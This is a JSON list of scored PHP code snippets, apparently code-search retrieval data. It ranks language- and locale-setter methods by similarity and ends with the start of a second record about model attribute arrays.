[ { "docid": "11cf242c4aba8639f491f588c5021c3e", "score": "0.644494", "text": "public function setLanguage(string $lang);", "title": "" }, { "docid": "24584b816dd859bdec23fcfd61862fda", "score": "0.6405967", "text": "public function setLanguage($language);", "title": "" }, { "docid": "776720218bdbfbbfe6ab810e86d1cd17", "score": "0.63422", "text": "public function setLanguage($var)\n {\n GPBUtil::checkString($var, True);\n $this->language = $var;\n\n return $this;\n }", "title": "" }, { "docid": "776720218bdbfbbfe6ab810e86d1cd17", "score": "0.63422", "text": "public function setLanguage($var)\n {\n GPBUtil::checkString($var, True);\n $this->language = $var;\n\n return $this;\n }", "title": "" }, { "docid": "451a9291c02ca4aa0ed29a9744ba9ab0", "score": "0.5816004", "text": "public function language(string $language);", "title": "" }, { "docid": "fed397222ad6cb84e3b60ce9e8085a4b", "score": "0.57044363", "text": "public function set_language($language) {\n if (!is_string($language)) { return false; }\n $this->_language = $language;\n return true;\n }", "title": "" }, { "docid": "8021b83e97068ece5bb4ddc898b31faf", "score": "0.56988704", "text": "public function setLanguage($language = null)\n {\n if ((!is_string($language) || ((strlen($language) !== 2) && (strlen($language) !== 5))) && ($language !== null)) {\n throw GeocodingException::invalidGeocoderRequestLanguage();\n }\n\n $this->language = $language;\n }", "title": "" }, { "docid": "e8b05cc068c43c7b8fc4d7e1a20674a4", "score": "0.56619644", "text": "public function setLanguage($language) {\n if (isset($language)) {\n $this->_language = $language;\n } else {\n $this->_language = '';\n }\n }", "title": "" }, { "docid": "3f11b16a3389891fc6be4b58448e2810", "score": "0.5652225", "text": "public function SetLanguage($language)\n {\n $this->language = $language;\n }", "title": "" }, { "docid": "c1a6b32741c7f830435945444bc53317", "score": "0.55958337", "text": "public function setLanguage($language)\n {\n $this->language = $language;\n }", "title": "" }, { "docid": "3d5c543a161ffa08878a07e1d683bbae", "score": "0.5561469", "text": "public function setLanguage(string $strLanguage) : void\r\n {\r\n $this->strLanguage = strtolower($strLanguage);\r\n }", "title": "" }, { "docid": "8cfc1726df8a8c6a69022ddbba86864d", "score": "0.54874974", "text": "public function setLang($var)\n {\n GPBUtil::checkString($var, True);\n $this->lang = $var;\n\n return $this;\n }", "title": "" }, { "docid": "166cbe032992c81c8f1018063a10cc54", "score": "0.54731226", "text": "public function setLanguage($language) {\n if ($language) {\n $this->language = $language;\n }\n }", "title": "" }, { "docid": "19d8ca3beea55a45b626de680f48dc46", "score": "0.5424066", "text": "public static function set_language($language) {\n\t\tsetcookie(self::$cookie_name, $language, time() + (86400 * 30), \"/\"); // 30 days\n\t}", "title": "" }, { "docid": "57d792f38cffb1c81d52b3b06958d33f", "score": "0.54089534", "text": "public function setLanguage($val)\n {\n $this->_propDict[\"language\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "b82ad3ae7ffd55327a4af4ef5592e7b3", "score": "0.53934765", "text": "public function setLanguage($l)\n {\n $this->setOption('language',$l);\n }", "title": "" }, { "docid": "67d05d62b34f53d23c624dfc10362d5c", "score": "0.5382886", "text": "public function setLanguage($language)\n {\n $this->language = $language;\n $this->load();\n }", "title": "" }, { "docid": "168bb086a0bc74857e04533c33052ec6", "score": "0.53776234", "text": "public function settingLanguage() {}", "title": "" }, { "docid": "e802316c602c800e7b1911fdc72857fc", "score": "0.53675115", "text": "function setLanguage(\\CharlotteDunois\\Validation\\LanguageInterface $language) {\n $this->lang = $language;\n return $this;\n }", "title": "" }, { "docid": "91382a63b505c9668790922034892393", "score": "0.53598297", "text": "public static function setLanguage($language) {\n $settings = self::getSettings();\n \n $settings->language = $language;\n $settings->save();\n }", "title": "" }, { "docid": "068738d341cf560789817841f259c4c6", "score": "0.5355375", "text": "protected function setLanguage() {\r\n\t\t$this->language = $GLOBALS['TSFE']->config['config']['language'];\r\n\t}", "title": "" }, { "docid": "ef27a3f0c41f0229b88802e0dd5dadb7", "score": "0.5353154", "text": "public function setLanguages($lang) {\n\t\t$this->_language = $lang;\n\t}", "title": "" }, { "docid": "dd9493d5bcd73547da37d98c757cf20e", "score": "0.53506273", "text": "public function setLanguage( string $language ) {\n $this->language = $language;\n return $this;\n }", "title": "" }, { "docid": "e76047f9c6d06c2f41f49b896aa9df70", "score": "0.53487825", "text": "public function setLanguage(Language $v = null)\n {\n if ($v === null) {\n $this->setLanguageId(NULL);\n } else {\n $this->setLanguageId($v->getLanguageId());\n }\n\n $this->aLanguage = $v;\n\n // Add binding for other direction of this n:n relationship.\n // If this object has already been added to the Language object, it will not be re-added.\n if ($v !== null) {\n $v->addBiblio($this);\n }\n\n\n return $this;\n }", "title": "" }, { "docid": "9f77c237133557a083afe28b819b48be", "score": "0.5302659", "text": "public function setLanguage($strLanguage) {\n\t\t\t$this->strLanguage = $strLanguage;\n\t\t\t$this->loadReplacements();\n\t\t}", "title": "" }, { "docid": "71d242fca712f5b3763af1b0dbb3abc3", "score": "0.5263412", "text": "function setLang($lang)\n {\n $this->_lang = $lang;\n }", "title": "" }, { "docid": "bee1941c1b97bb7fb4cd5053d7b3933c", "score": "0.5263407", "text": "function setLanguage($inLanguage) {\n\t\tif ( $inLanguage !== $this->_Language ) {\n\t\t\t$this->_Language = $inLanguage;\n\t\t\t$this->setModified();\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "7c3df13aef909333ecadbe4fb4d089a7", "score": "0.5207499", "text": "private function setLanguage()\n\t{\n\t\tif (isset($_GET['language']))\n\t\t\t$id_lang = (int)($_GET['language'])>0 ? $_GET['language'] : 0;\n\t\tif (!isset($id_lang))\n\t\t\t$id_lang = ($this->getIdByHAL());\n\t\t$this->lang = $this->xml_file->lang[(int)($id_lang)];\n\t}", "title": "" }, { "docid": "40e73bbdbb3a920e3b49014ebe34b29d", "score": "0.519383", "text": "public function setLang($lang) \n {\n $this->lang = $lang;\n }", "title": "" }, { "docid": "b641a061c9a1f12b7257140bee0e1ed2", "score": "0.5184133", "text": "public function setLang($lang = 'en') {\n\t\t$this->_lang = $lang;\n\t}", "title": "" }, { "docid": "a761c08edded87b2a929c591f1cd4650", "score": "0.51756257", "text": "public function setLanguage(string $language)\n {\n $this->_getEntity()->setLanguage((string) $language);\n return $this;\n }", "title": "" }, { "docid": "972ef17030ed9766bc82f8dcfcee23b0", "score": "0.5135748", "text": "public function setLanguage($lang){\n $this->language=$lang; \n return $this;\n }", "title": "" }, { "docid": "b9b811c3c64e5aa8d947e28278570ee8", "score": "0.51314765", "text": "protected function _setLanguage($language = null) {\n\t\t$catalog = false;\n\t\tif ($language !== null) {\n\t\t\t$catalog = $this->catalog($language);\n\t\t}\n\n\t\tif (!$catalog && $this->default) {\n\t\t\t$language = $this->default;\n\t\t\t$catalog = $this->catalog($language);\n\t\t}\n\n\t\tif ($catalog) {\n\t\t\t$this->language = $catalog['language'];\n\t\t\t$this->languagePath = array_unique(array(\n\t\t\t\t$catalog['locale'],\n\t\t\t\t$catalog['localeFallback']\n\t\t\t));\n\t\t\t$this->lang = $language;\n\t\t\t$this->locale = $catalog['locale'];\n\t\t\t$this->charset = $catalog['charset'];\n\t\t\t$this->direction = $catalog['direction'];\n\t\t} elseif ($language) {\n\t\t\t$this->lang = $language;\n\t\t\t$this->languagePath = array($language);\n\t\t}\n\n\t\tif ($this->default && $language !== $this->default) {\n\t\t\t$catalog = $this->catalog($this->default);\n\t\t\t$fallback = $catalog['localeFallback'];\n\t\t\tif (!in_array($fallback, $this->languagePath)) {\n\t\t\t\t$this->languagePath[] = $fallback;\n\t\t\t}\n\t\t}\n\n\t\tif (Configure::read('Config.language') === null) {\n\t\t\tConfigure::write('Config.language', $this->lang);\n\t\t}\n\n\t\tif ($language) {\n\t\t\treturn $language;\n\t\t}\n\t}", "title": "" }, { "docid": "83ee58dac9f116050a0326c09e80b83e", "score": "0.512466", "text": "public function setLanguage(PostTmxAsyncUploadsRequestBodyDataRelationshipsLanguage $language): self\n {\n $this->initialized['language'] = true;\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "6c316a8dcfa984cb1e7be9d50235e37c", "score": "0.50741404", "text": "public function setLanguage($language)\n\t{\n\t\tif ($language instanceof Localization\\EO_Language)\n\t\t{\n\t\t\t$this->language = $language;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->language = Localization\\LanguageTable::wakeUpObject($language);\n\t\t\t$this->language->fill(ORM\\Fields\\FieldTypeMask::SCALAR | ORM\\Fields\\FieldTypeMask::EXPRESSION);\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "de4f77818ad14bc2173943b7a42c5ff6", "score": "0.50736845", "text": "public function setTranslationsForLanguage(array $messages, $language);", "title": "" }, { "docid": "4c12f2ed2f670bd2d2a0fbc0bd20ee6b", "score": "0.50669354", "text": "public function languageField(string $languageAttribute): self\n {\n $this->arguments[] = 'LANGUAGE_FIELD';\n $this->arguments[] = $languageAttribute;\n\n return $this;\n }", "title": "" }, { "docid": "d2b3f3c8d6755ec5134fce9d66f75207", "score": "0.50660944", "text": "public function setLanguage($value)\n {\n return $this->setParameter('language', $value);\n }", "title": "" }, { "docid": "d2a1236504250731b6942786c1fc031f", "score": "0.5059587", "text": "public function setLanguage(string $language): self\n\t{\n\t\t$this->selectedLanguage = $language;\n\n\t\t// We load the language automatically to avoid interferences between languages\n\t\t$this->loadLanguage($language);\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "35a5ee14a2b3c8dc9973784bb8266095", "score": "0.5052395", "text": "public function setSelectedLanguage($language)\n {\n if (in_array($language, $this->getPossibleLanguages()) === false) {\n throw new BaseException(TMS(BaseException::LANGUAGE_NOT_SUPPORTED, array('language' => $language)));\n }\n $this->selectedLanguage = $language;\n }", "title": "" }, { "docid": "fc8e54a8405993db038b8e989dd94ce4", "score": "0.5040018", "text": "public function language($language)\n\t{\n\t\t$this->language = $language;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "a21ca289e42053a29d52141dc3042f6a", "score": "0.5035292", "text": "public function setLanguage(string $language)\n {\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "d04d67ef804f8d6d071dae2723db8503", "score": "0.5029879", "text": "public function setLanguage(LanguageFieldInterface $language): void\n {\n $this->language = $language;\n }", "title": "" }, { "docid": "24a96969bfac99ae428a5f3fee91e177", "score": "0.50201595", "text": "public function language(string $language)\n {\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "24a96969bfac99ae428a5f3fee91e177", "score": "0.50201595", "text": "public function language(string $language)\n {\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "ce9919e9b41a1e51b702ab335a94a5a3", "score": "0.5013608", "text": "public function setLanguage(PostActivityReportsAsyncDownloadsRequestBodyDataRelationshipsLanguage $language): self\n {\n $this->initialized['language'] = true;\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "939f4fff794e8327715ab6501d484244", "score": "0.50094503", "text": "public function setLanguage($lang)\n {\n return $this->setLang($lang);\n }", "title": "" }, { "docid": "3fcf3c3d9b745cbf669bd04272b6d43d", "score": "0.50086164", "text": "public function setLang($lang)\n {\n if ($lang !== null) {\n if (!is_string($lang)) {\n throw new InvalidArgumentException(\n 'Language must be a string'\n );\n }\n }\n\n $this->lang = $lang;\n\n return $this;\n }", "title": "" }, { "docid": "be70c8d35d01a87a878fb5a2d76e47cf", "score": "0.5001729", "text": "public function setLanguage($langcode = 'en', $lang_path = '')\n {\n }", "title": "" }, { "docid": "b63f0cbbf4d6c455878f7f0040a843aa", "score": "0.49902865", "text": "public function setTranslation($key, $value, $language);", "title": "" }, { "docid": "c4dedffadc794b8f7f93524bc26fd314", "score": "0.49896488", "text": "public function setLanguage($language)\n {\n $language = $language ?: $this->language;\n if (!in_array($language, $this->getSupportedLanguages())) {\n throw new LanguageNotSupportedException(sprintf('Language [%s] is not supported', $language));\n }\n\n $this->language = $language;\n $this->changeBaseApi();\n return true;\n }", "title": "" }, { "docid": "502982eae0eae5484e22038ba352eff8", "score": "0.49823362", "text": "public function setBackOfficeLanguage($language);", "title": "" }, { "docid": "5c6f8564e844cf83bbc5626a24f38c79", "score": "0.4980439", "text": "static function set($lang)\n\t{\n\t\tif (!self::valid($lang)) {\n\t\t\ttrigger_error(\"Invalid language id: '$lang'\");\n\t\t\treturn;\n\t\t}\n\t\tself::$lang = $lang;\n\t}", "title": "" }, { "docid": "a6c7a775132b78169fc4799c94591089", "score": "0.49675646", "text": "public function setLanguage($language)\n {\n $this->language = $language;\n return $this;\n }", "title": "" }, { "docid": "24d81a7e780135b35b4cb3f9d51e4a8d", "score": "0.49667963", "text": "static public function setLanguage($new_lang) {\n\t\tself::$language = ($new_lang == 'de' ? 'de' : 'us');\n\t}", "title": "" }, { "docid": "44bfea9f46adb9e93de086b6eb2d052a", "score": "0.4964829", "text": "public function setUrlLanguage(LanguageInterface $language) {\n $this->storedLanguage = $language;\n }", "title": "" }, { "docid": "f4c39e2afcc418dc62446458d63372d8", "score": "0.4952705", "text": "function set_language($locale) {\n\t\t\t$this->i18n_locale = $locale;\n\t\t}", "title": "" }, { "docid": "40f18262db36925faf41dbe74b906a86", "score": "0.49438092", "text": "public function setTargetLanguage(string $targetLanguage)\n {\n if (Validation::isValidLanguageRegex($targetLanguage)) {\n $this->config->target = $targetLanguage;\n } else {\n throw new CustomException('Invalid target language');\n }\n }", "title": "" }, { "docid": "d466f1f0de460bbdb4d09bc1b286b3f4", "score": "0.49328077", "text": "public function setLanguage(string $lang)\n {\n $lang=substr($lang, 0, 3);\n\n // Verify if the file with translations exists\n $fname = $this->getFolderAppRoot().'languages/marknotes-'.$lang.'.json';\n\n // If no, use the default language\n $aeFiles = \\MarkNotes\\Files::getInstance();\n $this->language = ($aeFiles->exists($fname) ? $lang : DEFAULT_LANGUAGE);\n }", "title": "" }, { "docid": "fcde34fac1a5cc677ef3fabab28d06e9", "score": "0.4927936", "text": "public function setLanguage($useLanguage = self::TRANSLATION_SWEDISH)\n {\n switch (strtolower($useLanguage)) {\n case 'se':\n $configureLanguage = 'sv';\n break;\n case 'fin':\n $configureLanguage = 'fi';\n break;\n case 'da':\n case 'dk':\n $this->isXml = true;\n $configureLanguage = 'da';\n break;\n default:\n $configureLanguage = $useLanguage;\n }\n\n if (!in_array($configureLanguage, $this->allowedLanguages, true)) {\n throw new Exception(sprintf('%s is not an allowed country code.', $configureLanguage), 403);\n }\n\n $this->languageSet = $configureLanguage;\n $this->getPreloadedLanguage();\n return $this;\n }", "title": "" }, { "docid": "a8df71cc38d208305921afe98c7d1215", "score": "0.49272957", "text": "public function setLocale($language)\n\t{\n\t\t// We'll want to reconsider the below statement.\n\t\t// We'll want to manually add all languages so we can verify no husky stuff is going on.\n\t\tswitch ($language)\n\t\t{\n\t\t\tdefault:\n\t\t\t\t$locale = 'en_EN';\n\t\t\t\tbreak;\n\t\t\tcase 'English':\n\t\t\t\t$locale = 'en_EN';\n\t\t\t\tbreak;\n\t\t\tcase 'Danish':\n\t\t\t\t$locale = 'da_DK';\n\t\t\t\tbreak;\n\t\t\tcase 'Dutch':\n\t\t\t\t$locale = 'nl_NL';\n\t\t\t\tbreak;\n\t\t}\n\n\t\tputenv('LC_ALL=' . $locale);\n\t\tsetlocale(LC_ALL, $locale);\n\t\tbindtextdomain('messages', './locale');\n\t\ttextdomain('messages');\n\t}", "title": "" }, { "docid": "786c4a5c58be7ac02a79cf231b5532bc", "score": "0.49117807", "text": "public function setLanguageId($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->language_id !== $v) {\n $this->language_id = $v;\n $this->modifiedColumns[BiblioTableMap::COL_LANGUAGE_ID] = true;\n }\n\n if ($this->aLanguage !== null && $this->aLanguage->getLanguageId() !== $v) {\n $this->aLanguage = null;\n }\n\n return $this;\n }", "title": "" }, { "docid": "4e9523d5dcbfe8dfe6b9f646aad21fc3", "score": "0.49106142", "text": "public function setLanguage($i) {\n\t\t$this->current_language = $i;\n\t}", "title": "" }, { "docid": "9b112b8dfd1a051ae4c854b4344e350e", "score": "0.48964438", "text": "public function setLanguageAction($language='')\n {\n if ($language == 'en' || $language == 'ja') {\n $this->session->set('language', $language);\n $this->loadCustomTrans('index');\n }\n\n //Go to the last place\n $referer = $this->request->getHTTPReferer();\n if (strpos($referer, $this->request->getHttpHost().\"/\")!==false) {\n return $this->response->setHeader(\"Location\", $referer);\n } else {\n return $this->dispatcher->forward(array('controller' => 'index', 'action' => 'index'));\n }\n }", "title": "" }, { "docid": "7397b780c8e9a88dc663f79e41b09ac1", "score": "0.48954213", "text": "public function setLanguage($code)\n {\n $this->lang = $code;\n }", "title": "" }, { "docid": "28ca8a4d29bd74980aba50534079055e", "score": "0.48843727", "text": "public function setLang($lang)\n\t{\n\t\t$this->token->setLang($lang);\n\t}", "title": "" }, { "docid": "588e257f2871c418206e942d5f421da2", "score": "0.48820287", "text": "public function setLanguage($value)\n {\n $value = strtolower($value);\n if (!isset($this->_models[$value])) {\n $this->_models[$value] = $this->loadTranslation($value);\n }\n $this->_language = $value;\n }", "title": "" }, { "docid": "a3243f5f1beefdc327267878f2b5afba", "score": "0.48778245", "text": "public function set_languages($languages)\n\t{\n\t\tif (is_null($languages)) {\n\t\t\tthrow new InvalidArgumentException(\"Project Languages Invalid!\");\n\t\t}\n\t\t$this->languages = $languages;\n\t}", "title": "" }, { "docid": "a5d2cb6182d313aec5570bc70247d310", "score": "0.48712373", "text": "public function language(string $language = null)\n {\n if (null === $language) {\n return $this->language;\n }\n\n $this->language = $language;\n $this->headers['Accept-Language'] = $language;\n return $this;\n }", "title": "" }, { "docid": "7d43d3d74912c7a0363721f9a4211137", "score": "0.48610613", "text": "public function language( string $languageName ) {\n $this->language = \"LANGUAGE $languageName\";\n return $this;\n }", "title": "" }, { "docid": "c1b8d5efabf7a3fcaf2797fa2eee326f", "score": "0.48581243", "text": "public function setTargetLanguage($value)\n {\n return $this->set('TargetLanguage', $value);\n }", "title": "" }, { "docid": "42bd529ac1c2d5708c2e6ef2a503fe4f", "score": "0.48578715", "text": "public function setlanguage($language)\n {\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "c1b8d5efabf7a3fcaf2797fa2eee326f", "score": "0.48546365", "text": "public function setTargetLanguage($value)\n {\n return $this->set('TargetLanguage', $value);\n }", "title": "" }, { "docid": "c1b8d5efabf7a3fcaf2797fa2eee326f", "score": "0.48546365", "text": "public function setTargetLanguage($value)\n {\n return $this->set('TargetLanguage', $value);\n }", "title": "" }, { "docid": "82ab0bac7b437655b65acc484ea5b471", "score": "0.4850938", "text": "public function set($lang = '')\n {\n $path = '';\n if (preg_match($this->getRegExp()['reg'], $this->getResource(), $matches) !== false) {\n foreach ($matches as $key => $match) {\n if (!$key) {\n continue;\n }\n $path .= ($key == $this->getRegExp()['langPart']) ? $lang . $this->separator() : $match;\n }\n }\n\n $this->path = $path;\n }", "title": "" }, { "docid": "ee593d40204b1d83b00327ca2700dac8", "score": "0.4848978", "text": "public function setFromLanguage(string $from_language): void;", "title": "" }, { "docid": "a4abf4d81f0a7c6a704c968d47c5d6a1", "score": "0.48467174", "text": "public function __construct(Language $language)\n {\n $this->language = $language;\n }", "title": "" }, { "docid": "e46364cc9157196f3903a189e2aff738", "score": "0.4846372", "text": "public function set($lang = null) {\n\n\t\t$langHeader = $this->getLangFromHeader();\n\n\t\t// set explicitly, overrides all\n\t\tif (isset($lang)) {\n\t\t\tself::$lang = $lang;\n\t\t}\n\n\t\t// query string?\n\t\tif (isset($_GET['lang'])) {\n\t\t\tself::$lang = $_GET['lang'];\n\t\t}\n\t\t// session?\n\t\telse if (isset($_SESSION[$this->namespace]['lang'])) {\n\t\t\tself::$lang = $_SESSION[$this->namespace]['lang'];\n\t\t}\n\t\t// cookie?\n\t\telse if (isset($_COOKIE[$this->namespace]['lang'])) {\n\t\t\tself::$lang = $_COOKIE[$this->namespace]['lang'];\n\t\t}\n\t\t// http language header\n\t\telse if ($langHeader) {\n\t\t\tself::$lang = $langHeader;\n\t\t}\n\t\t// by page/file name\n\t\telse if (isset($this->pagePattern) && preg_match($this->pagePattern, $this->page, $matches) === 1) {\n\t\t\tself::$lang = $matches[1];\n\t\t}\n\t\telse {\n\t\t\tself::$lang = self::$langDefault;\n\t\t}\n\n\t\t// check that lang property only contains valid content\n\t\tif (!in_array(self::$lang, $this->arrLang)) {\n\t\t\tself::$lang = self::$langDefault;\n\t\t}\n\n\t\t// remove subdomain www from host to prevent conflicting with cookies set in subdomain\n\t\t$domain = str_replace('www.', '.', $_SERVER['HTTP_HOST']);\n\t\tsetcookie($this->namespace.'[lang]', self::$lang, time() + 3600 * 24 * 365, '/', $domain, false);\n\t\t$_SESSION[$this->namespace]['lang'] = self::$lang;\n\t}", "title": "" }, { "docid": "b6571e0198a0b31a99a61f8a8151e854", "score": "0.48201975", "text": "public function setLanguage(string $language)\n {\n if (!$this->checkTranslationFile($language)) {\n throw new \\InvalidArgumentException(\"Language file for language '\" . $language . \"' not found.\");\n }\n $this->language = $language;\n return $this;\n }", "title": "" }, { "docid": "e24cf451c38218f1bd1bbfc600b42f1e", "score": "0.48199365", "text": "public function setLanguage($language)\n\t\t\t{\n\t\t\t\t$this->language = $language;\n\n\t\t\t\treturn $this;\n\t\t\t}", "title": "" }, { "docid": "ef1c8bda94d3185bf7e6c5b063576906", "score": "0.4819255", "text": "public function setDefaultLanguage($language) {\n $this->values->put('DefaultLanguage', $language);\n }", "title": "" }, { "docid": "fb7f570389d053de5bac38ada15a320b", "score": "0.4813044", "text": "public function chooseLanguage($lang) {\n\t\t$this->_lang = $this->_language[$lang];\n\t}", "title": "" }, { "docid": "be1c8454fd8b9c7e73e6c3e5a6badccc", "score": "0.48124924", "text": "public static function setLanguage($lid)\r\n {\r\n return session()->put(self::$sessLanguageKey, $lid);\r\n }", "title": "" }, { "docid": "c793855e556b16c8308106c70360ff2b", "score": "0.48075852", "text": "public function setYiiLang(){\r\n $get_lang = Yii::app()->getRequest()->getParam(Yii::app()->urlManager->languageParam);//check if we have lang in url\r\n if (!in_array($get_lang,array_keys(Yii::app()->params['translatedLanguages'])) &&\r\n isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {\r\n $langList = Util::sortByPriority($_SERVER['HTTP_ACCEPT_LANGUAGE']);\r\n foreach ($langList as $lang => $quality) {\r\n foreach (Defaults::$supportedLanguages as $supported) {\r\n if (strcasecmp($supported, $lang) == 0) {\r\n Yii::app()->language = $supported;\r\n break 2;\r\n }\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "1f7864c96e3d7db29a44266bee4f553d", "score": "0.47983715", "text": "public function actionChangeLanguage($language = null)\n {\n if($language != null)\n {\n UsniAdaptor::app()->cookieManager->setLanguageCookie($language);\n }\n }", "title": "" }, { "docid": "4b38174e5f13ed6a9434c0b2c89e685c", "score": "0.47967875", "text": "public function setLanguage($language)\n {\n $this->language = $language;\n\n return $this;\n }", "title": "" }, { "docid": "df79107840185b9d1c3a24ab9ed821bf", "score": "0.47957838", "text": "public function setLanguage(CData $language): bool\n {\n return API::ffi()->ts_parser_set_language(\n $this->data,\n API::ffi()->cast('TSLanguage *', $language),\n );\n }", "title": "" }, { "docid": "8932c767900173ac498b74837ce11582", "score": "0.47862774", "text": "public static function setLanguageName($paramLanguageName){\n getDatabase()->update(\"settings\",array(\n \"value\" => $paramLanguageName\n ), \"setting = 'website_lang'\");\n Cache::store('website_lang', $paramLanguageName);\n }", "title": "" } ]
a1e4a7982a6e021a06a4f5bf245a3c33
Array of attributes where the key is the local name, and the value is the original name
[ { "docid": "9747c9f697cccdc3cdbdd653e9ef457c", "score": "0.0", "text": "public static function attributeMap()\n {\n return self::$attributeMap;\n }", "title": "" } ]
[ { "docid": "28e15d827577827486a3b4c4cb5aa465", "score": "0.6593334", "text": "public static function attributeMap()\n {\n return [\n 'obj_type' => 'obj_type',\n 'id' => 'id',\n 'parent_id' => 'parent_id',\n 'path' => 'path',\n 'kind' => 'kind',\n 'login' => 'login',\n 'name' => 'name',\n 'first_name' => 'first_name',\n 'last_name' => 'last_name'\n ];\n }", "title": "" }, { "docid": "cd7f9129f0bfd2a7793a50d564bffe2e", "score": "0.6541966", "text": "public function compile_attributes_array(){\n\n $ret = [];\n\n foreach ( $this->atts as $name => $value ) {\n $ret[$name] = $this->attr_get( $name );\n }\n\n return $ret;\n }", "title": "" }, { "docid": "7b9207ecfb5d45bd7c43009a9f7a639a", "score": "0.65272945", "text": "public function attributeNames()\n {\n return array(\n 'name_zn' => 'name_zn',\n 'name_en' => 'name_en',\n 'code'=>'code',\n 'desc_zn'=>'desc_zn',\n 'desc_en'=>'desc_en',\n 'thumb'=>'thumb',\n 'image'=>'image',\n 'website'=>'website',\n '_id'=>\"_id\",\n 'firstChart'=>'firstChart',\n 'spell'=>'spell',\n );\n }", "title": "" }, { "docid": "f521c19b0541329d7132da17e26d03ad", "score": "0.6525877", "text": "private function getAttributes(): array {\n\t\treturn array('categoryid', 'id', 'name', 'label', 'position', 'active', 'created', 'updated');\n\t}", "title": "" }, { "docid": "776ea162d2331a809ae23514bdeb7d42", "score": "0.6502552", "text": "public static function attributeMap()\n {\n return [\n 'name' => 'name',\n 'version' => 'version'\n ];\n }", "title": "" }, { "docid": "b4adfa662da12ca588ac2c2f3ee989c8", "score": "0.64890146", "text": "public function toAttributesArray() {\n\t\t\t$r = array();\n\t\t\tforeach($this->attributes() as $name=>$value) {\n\t\t\t\t$r[(string) $name] = (string) $value;\n\t\t\t}\n\t\t\treturn $r;\n\t\t}", "title": "" }, { "docid": "c6d86dcb6edf2bca359866ba8797cade", "score": "0.640069", "text": "public function attributeNames()\n {\n return array(\n 'image'=>'image',\n 'link'=>'link',\n 'desc_zn'=>'desc_zn',\n 'desc_en'=>'desc_en',\n 'channel'=>'channel',\n 'updatetime'=>'updatetime',\n );\n }", "title": "" }, { "docid": "deaa8e60936cf64959cf9ca110db3e70", "score": "0.6400032", "text": "public function attributes()\n {\n if (!App::isLocale('zh-CN')) {\n return [];\n }\n return [\n 'name' => '收货人',\n 'phone' => '手机号码',\n 'country' => '国家',\n 'province' => '省',\n 'city' => '市',\n 'address' => '详细地址',\n 'zip' => '邮政编码',\n ];\n }", "title": "" }, { "docid": "6259c71ffb4707a6b87abdc113f54305", "score": "0.6374488", "text": "function getAttributesNames()\r\n {\r\n $names = array();\r\n foreach($this->_getObjectVars() as $name => $value)\r\n {\r\n if(!$this->_isGuarded($name))\r\n $names[] = $name;\r\n }\r\n return $names;\r\n }", "title": "" }, { "docid": "947dd422a72df7d19c4d9758be558d8a", "score": "0.6343035", "text": "abstract public function getAttributeNames();", "title": "" }, { "docid": "7f9b6ad49af87e60f5f649f7f0e42d81", "score": "0.63346374", "text": "public function attributeMap() {\n // Resource not connected to ActiveRecord has to override this function\n if ($this->activeRecordClassName() == null) {\n return array();\n }\n $className = $this->activeRecordClassName();\n $attributes = $className::model()->attributes;\n\n $output = array();\n foreach ($attributes as $attribute => $value) {\n $output[$attribute] = $attribute;\n }\n return $output;\n }", "title": "" }, { "docid": "0ce88b2a3494e87d26ec96db544fba80", "score": "0.6329309", "text": "public function attributeNames()\n {\n return array(\n 'timestamp',\n 'requestId',\n 'status',\n 'key',\n 'data'\n );\n }", "title": "" }, { "docid": "f58a140869d73bd7791fd6af63b1fba4", "score": "0.6302767", "text": "public function attributes()\n {\n return [\n 'name_extension' => _p('chromator::requests.creator.attributes.name_extension', 'name extension'),\n ];\n }", "title": "" }, { "docid": "ae908f95706c773b40be4d45d4912fa2", "score": "0.6283613", "text": "public\n function getAttrNodeNamesAsArray()\n {\n $a = []; //init\n foreach( $this->_Attr as $NodeName => $ValArr )\n {\n $a[$NodeName] = $NodeName; //add all the 1st level nodes\n }\n return $a;\n }", "title": "" }, { "docid": "10b04c76b8c0942b8ef67232e9e64610", "score": "0.6280831", "text": "public function prepareAttr($attr)\n {\n //@warning : invoke order is important : original_name MUST BE the first called method.\n $attr['original_name'] = $this->getOriginalName($attr);\n $attr['name'] = $this->getNameAttribute($attr);\n $attr['id'] = $this->getIdAttribute($attr);\n $attr['value'] = $this->getValueAttribute($attr);\n return $attr;\n }", "title": "" }, { "docid": "0adbd68725917dae06a32b7421b3ddbf", "score": "0.6277146", "text": "private static function get_all_attribute_names()\n {\n if (Settings::get('OC_BRANCH') == 'oc.pl')\n {\n # OCPL branch uses cache_attrib table to store attribute names. It has\n # different structure than the OCDE cache_attrib table. OCPL does not\n # have translation tables.\n\n $rs = Db::query(\"select id, language, text_long from cache_attrib order by id\");\n }\n else\n {\n # OCDE branch uses translation tables. Let's make a select which will\n # produce results compatible with the one above.\n\n $rs = Db::query(\"\n select\n ca.id,\n stt.lang as language,\n stt.text as text_long\n from\n cache_attrib ca,\n sys_trans_text stt\n where ca.trans_id = stt.trans_id\n order by ca.id\n \");\n }\n\n $dict = array();\n while ($row = Db::fetch_assoc($rs)) {\n $dict[$row['id']][strtolower($row['language'])] = $row['text_long'];\n }\n return $dict;\n }", "title": "" }, { "docid": "9ba884d2590cd9f1551480c0d0ef163d", "score": "0.6268431", "text": "public static function getAttributes()\n {\n return [\n //\n ];\n }", "title": "" }, { "docid": "b07ebecbf0062892eac56bb9d9b2cb2c", "score": "0.62658983", "text": "public function attributesToArray() {\n $toReturn = parent::attributesToArray();\n $toReturn[YiiFileInformationModel::EXTENSION]= $this->extension;\n $toReturn[YiiFileInformationModel::CHECKSUM] = $this->checksum;\n $toReturn[YiiFileInformationModel::SERVER_FILE_PATH] = $this->serverFilePath;\n \n return $toReturn;\n }", "title": "" }, { "docid": "2154f1cb9160c7a13493622cdd3c7325", "score": "0.6254031", "text": "public function getAttributes(): array;", "title": "" }, { "docid": "2154f1cb9160c7a13493622cdd3c7325", "score": "0.6254031", "text": "public function getAttributes(): array;", 